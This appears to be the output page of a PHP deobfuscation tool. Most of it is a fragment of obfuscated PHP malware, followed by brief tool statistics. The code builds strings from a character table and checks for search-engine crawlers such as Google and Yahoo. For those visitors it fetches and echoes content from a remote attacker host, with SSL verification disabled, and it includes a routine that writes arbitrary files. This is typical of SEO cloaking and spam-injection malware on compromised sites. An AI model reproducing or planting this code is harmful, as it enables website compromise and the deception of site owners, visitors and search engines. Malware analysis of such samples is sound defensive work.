file_get_contents($O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});echo $file_get_contents;exit();}if(stristr($OOOOOo,$O{5}.$O{10}.$O{15}.$O{8}.$O{8}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9})||stristr($OOOOOo,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9})||stristr($OOOOOo,$O{23}.$O{7}.$O{24}.$O{14})||(stristr($OOOOOo,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{25})&&$Oo!=$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9}&&$Oo!=$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{15}.$O{4}.$O{25}.$O{18})){if(!$OOO){echo OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{4}.$O{2}.$O{25}.$O{9}.$O{18}.$O{10}.$O{4}.$O{2}.$O{61}.$O{66}.$O{73}.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo);exit();}}if(stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{23}.$O{7}.$O{24}.$O{14})||stristr($OOOOO,$O{31}.$O{88}.$O{42})||stristr($OOOOO,$O{5}.$O{88}.$O{16})||stristr($OOOOO,$O{5}.$O{10}.$O{15}.$O{8}.$O{8})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2})||stristr($OOOOO,$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})){if(!$OOO){$OooOO = OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$O{16}.$O{9}.$O{3}.$O{1}.$O{64}.$O{59}.$O{16}.$O{9}.$O{9}.$O{3}.$O{70}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{4}.$O{2}.$O{25}.$O{9}.$O{18}.$O{10}.$O{4}.$O{2}.$O{61}.$O{66}.$O{73}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo);if(!empty($OooOO)){echo $OooOO;exit;}}}	function OooooOO($O,$OooO)	{$OooOO = '';$OooOOO = $O{51}.$O{8}.$O{19}.$O{7}.$O{18}.$O{18}.$O{10}.$O{63}.$O{70}.$O{59}.$O{67}.$O{57}.$O{76}.$O{21}.$O{8}.$O{25}.$O{9}.$O{10}.$O{4}.$O{7}.$O{23}.$O{18}.$O{2}.$O{75}.$O{51}.$O{37}.$O{33}.$O{28}.$O{57}.$O{68}.$O{59}.$O{67}.$O{75}.$O{27}.$O{7}.$O{24}.$O{12}.$O{8}.$O{1}.$O{11}.$O{57}.$O{50}.$O{30}.$O{57}.$O{69}.$O{59}.$O{65}.$O{75}.$O{59}.$O{50}.$O{28}.$O{30}.$O{57}.$O{47}.$O{44}.$O{29}.$O{57}.$O{64}.$O{59}.$O{64}.$O{59}.$O{70}.$O{66}.$O{65}.$O{65}.$O{77};if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{32}.$O{29}.$O{44},$OooO);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{37}.$O{37}.$O{44}.$O{52}.$O{48}.$O{28}.$O{29}.$O{33}.$O{39}.$O{31}.$O{41}.$O{34}.$O{37}.$O{30}, 0);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{37}.$O{37}.$O{44}.$O{52}.$O{48}.$O{28}.$O{29}.$O{33}.$O{39}.$O{31}.$O{35}.$O{28}.$O{28}.$O{29}, 0);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{29}.$O{28}.$O{30}.$O{32}.$O{29}.$O{50}.$O{30}.$O{29}.$O{36}.$O{50}.$O{37}.$O{39}.$O{28}.$O{29},1);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{47}.$O{34}.$O{50}.$O{50}.$O{28}.$O{47}.$O{30}.$O{30}.$O{33}.$O{51}.$O{28}.$O{34}.$O{32}.$O{30},$OoooOO);curl_setopt($OooOOOO,$O{47}.$O{32}.$O{29}.$O{44}.$O{34}.$O{35}.$O{30}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30},$OooOOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){ini_set($O{6}.$O{11}.$O{2}.$O{3}.$O{52}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4},$OooOOO);try{$OooOO = @file_get_contents($OooO);}catch (Exception $e){}}return $OooOO;	}function OooooOOOO($O,$Ooo, $OooOOOOO) {$OoooO = fopen($Ooo, $O{1}) or die('0');fwrite($OoooO, $OooOOOOO);fclose($OoooO);}?>

Function Calls

str_replace 1
base64_decode 1
error_reporting 1
date_default_timezone_set 1

Variables

$O qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <...
$OOOOOO cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFlVSU9QQVNERkdISktM..

Stats

MD5 efa5b1fe049811355e76291cb9e6cad2
Eval Count 0
Decode Time 205 ms